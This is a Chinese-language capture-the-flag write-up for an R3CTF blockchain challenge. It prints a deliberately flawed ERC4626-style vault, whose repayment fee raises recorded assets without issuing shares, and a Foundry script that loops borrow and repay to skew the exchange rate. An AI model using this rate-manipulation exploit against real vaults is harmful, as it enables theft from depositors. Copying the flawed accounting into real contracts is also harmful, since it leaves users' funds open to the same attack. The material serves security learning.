R3CTF_blockchain

这个合约 Vault 是一个基于 ERC4626 标准的简化版代币化金库(Tokenized Vault),可以接受一个特定的 LING 代币的存款,发行代表份额的 vLING 代币,并且实现了借贷功能。

这题的主要漏洞点在于,借还款之后,没有及时更新份额(忽略了fee对汇率的影响),从而导致资产和份额的比例可以人为操纵。我们可以先领水之后,通过不断的借还款,使汇率满足题解。可以学习的点还是操纵汇率,本身题的难度不大,主要在找到满足条件的循环次数以及存入的初始资产的多少。

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Vault} from "./Vault.sol";
import {LING} from "./LING.sol";

contract Setup {
Vault public vault;
LING public ling;
bool public claimed;
bool public solved;
constructor() {
ling = new LING(1000 ether);
vault = new Vault(ling);
}

function claim() external {
if (claimed) {
revert("Already claimed");
}
claimed = true;
ling.transfer(msg.sender, 1 ether);
}

function solve() external {
ling.approve(address(vault), 999 ether);
vault.deposit(999 ether, address(this));
if (vault.balanceOf(address(this)) >= 500 ether) {
revert("Challenge not solved yet");
}
solved = true;
}

function isSolved() public view returns (bool) {
return solved;
}
}

//SPDX-License-Identifier:MIT
pragma solidity ^0.8.0;

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract LING is ERC20 {
constructor(uint256 _initialSupply) ERC20("LING", "LING") {
_mint(msg.sender, _initialSupply);
}
}


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {IERC4626} from "@openzeppelin/contracts/interfaces/IERC4626.sol";
import {LING} from "./LING.sol";

contract Vault is Ownable, IERC4626, ERC20("LING VAULT", "vLING") {
struct VaultAccount {
uint256 amount;
uint256 shares; //份额
}

VaultAccount public totalAsset;
LING ling;
mapping(address => uint256) public borrowedAssets;
uint256 public totalBorrowedAssets;

constructor(LING _ling) Ownable(msg.sender) {
ling = _ling;
}

function asset() external view returns (address assetTokenAddress) {
assetTokenAddress = address(ling);
}

function totalAssets() public view returns (uint256 totalManagedAssets) {
totalManagedAssets = totalAsset.amount - totalBorrowedAssets;
}

function convertToShares(
uint256 assets //资产
) public view returns (uint256 shares) {
if (totalAsset.amount == 0) {
shares = assets;
} else {
shares = (assets * totalAsset.shares) / totalAsset.amount;
}
}// 资产转换为份额
function convertToAssets(
uint256 shares
) public view returns (uint256 assets) {
if (totalAsset.shares == 0) {
assets = shares;
} else {
assets = (shares * totalAsset.amount) / totalAsset.shares;
}
}// 份额转换为资产

function maxDeposit(
address ///* receiver */
) public pure returns (uint256 maxAssets) {
return type(uint256).max;
}

function previewDeposit(
uint256 assets
) external view returns (uint256 shares) {
shares = convertToShares(assets);
}// 预览存入的份额

function deposit(
uint256 assets,
address receiver
) external returns (uint256) {
if (assets == 0) {
revert("zero assets");
}
uint256 shares = convertToShares(assets);

totalAsset.amount += assets;
totalAsset.shares += shares;
ling.transferFrom(msg.sender, address(this), assets);
_mint(receiver, shares);

emit Deposit(msg.sender, receiver, assets, shares);
return shares;
}// 存入资产

function maxMint(
address ///* receiver */
) external pure returns (uint256 maxShares) {
return type(uint256).max;
}

function previewMint(
uint256 shares
) external view returns (uint256 assets) {
assets = convertToAssets(shares);
}// 预览存入的资产

function mint(
uint256 shares,
address receiver
) external returns (uint256 assets) {
if (shares == 0) {
revert("zero shares");
}
assets = convertToAssets(shares);

totalAsset.amount += assets;
totalAsset.shares += shares;
ling.transferFrom(msg.sender, address(this), assets);
_mint(receiver, shares);

emit Deposit(msg.sender, receiver, assets, shares);
return assets;
}// 铸造份额

function maxWithdraw(
address owner
) external view returns (uint256 maxAssets) {
uint256 shares = balanceOf(owner);
maxAssets = convertToAssets(shares);
}

function previewWithdraw(
uint256 assets
) external view returns (uint256 shares) {
shares = convertToShares(assets);
} // 预览提取的份额

function withdraw(
uint256 assets,
address receiver,
address owner
) external returns (uint256 shares) {
if (assets == 0) {
revert("zero assets");
}
shares = convertToShares(assets);
if (shares > balanceOf(owner)) {
revert("insufficient shares");
}

if (msg.sender != owner) {
uint256 allowed = allowance(owner, msg.sender);
if (allowed < shares) {
revert("insufficient allowance");
}
_approve(owner, msg.sender, allowed - shares);
}

_burn(owner, shares);
totalAsset.amount -= assets;
totalAsset.shares -= shares;
ling.transfer(receiver, assets);

emit Withdraw(msg.sender, receiver, owner, assets, shares);
return shares;
} // 提取资产

function maxRedeem(
address owner
) external view returns (uint256 maxShares) {
return balanceOf(owner);
}

function previewRedeem(
uint256 shares
) external view returns (uint256 assets) {
assets = convertToAssets(shares);
} // 预览提取的资产

function redeem(
uint256 shares,
address receiver,
address owner
) external returns (uint256 assets) {
if (shares > balanceOf(owner)) {
revert("insufficient shares");
}
assets = convertToAssets(shares);

if (msg.sender != owner) {
uint256 allowed = allowance(owner, msg.sender);
if (allowed < shares) {
revert("insufficient allowance");
}
_approve(owner, msg.sender, allowed - shares);
}

_burn(owner, shares);
totalAsset.amount -= assets;
totalAsset.shares -= shares;
ling.transfer(receiver, assets);

emit Withdraw(msg.sender, receiver, owner, assets, shares);
return assets;
} // 提取份额

function borrowAssets(uint256 amount) external {
if (amount == 0) {
revert("zero amount");
}
if (amount > totalAssets()) {
revert("insufficient balance");
}
borrowedAssets[msg.sender] += amount;
totalBorrowedAssets += amount;
ling.transfer(msg.sender, amount);
} // 借入资产

function repayAssets(uint256 amount) external {
if (amount == 0) {
revert("zero amount");
}
if (borrowedAssets[msg.sender] < amount) {
revert("invalid amount");
}
uint256 fee = (amount * 1) / 100;
borrowedAssets[msg.sender] -= amount;
totalBorrowedAssets -= amount;
totalAsset.amount += fee;
ling.transferFrom(msg.sender, address(this), amount + fee);
} // 偿还资产
}

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
//SPDX-License-Identifier:MIT
pragma solidity ^0.8.20;

import {Script, console} from "forge-std/Script.sol";
import {Setup, Vault, LING} from "../src/Setup.sol";

contract Hack is Script {
Setup public setup;
Vault public vault;
LING public ling;
function run() external {
setup = Setup(address(0xF85895D097B2C25946BB95C4d11E2F3c035F8f0C));
vault = setup.vault();
ling = setup.ling(); // Replace with actual Vault address
vm.startBroadcast();
setup.claim(); //先领1 ether的水
ling.approve(address(vault), 1000 ether); //提权
vault.deposit(0.5 ether, address(this));
// vault.deposit(100000, address(this)); 存款金额最大为0.5ether(x+0.01*x*100 <= 1,x<=0.5),并且够至少100次循环的fee即可,重要的是循环。份额计算时看的是比例,不是数值。
uint256 assets = vault.totalAssets();
for (uint256 i = 0; i < 100; i++) {
vault.borrowAssets(assets);
vault.repayAssets(assets);
}
setup.solve();
setup.solved();

vm.stopBroadcast();
}
}